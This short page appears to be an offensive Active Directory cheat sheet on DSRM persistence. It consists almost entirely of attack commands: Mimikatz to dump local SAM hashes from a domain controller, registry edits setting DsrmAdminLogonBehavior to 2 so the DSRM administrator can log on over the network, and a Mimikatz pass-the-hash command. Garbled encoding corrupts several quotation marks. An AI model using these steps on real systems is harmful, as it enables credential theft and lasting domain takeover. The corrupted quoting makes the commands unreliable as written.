DSRM

Dump DSRM password - dumps local users

look for the local administrator password

Invoke-Mimikatz -Command ā€˜ā€token::elevateā€ ā€œlsadump::samā€ā€™ -Computername <target>

Change login behavior for the local admin on the DC

New-ItemProperty ā€œHKLM:\System\CurrentControlSet\Control\Lsa\ā€ -Name ā€œDsrmAdminLogonBehaviorā€ -Value 2 -PropertyType DWORD

If property already exists

Set-ItemProperty ā€œHKLM:\System\CurrentControlSet\Control\Lsa\ā€ -Name ā€œDsrmAdminLogonBehaviorā€ -Value 2

Pass the hash for local admin

Invoke-Mimikatz -Command '"sekurlsa::pth /domain:<computer> /user:Administrator /ntlm:<hash> /run:powershell.exe"'

Last updated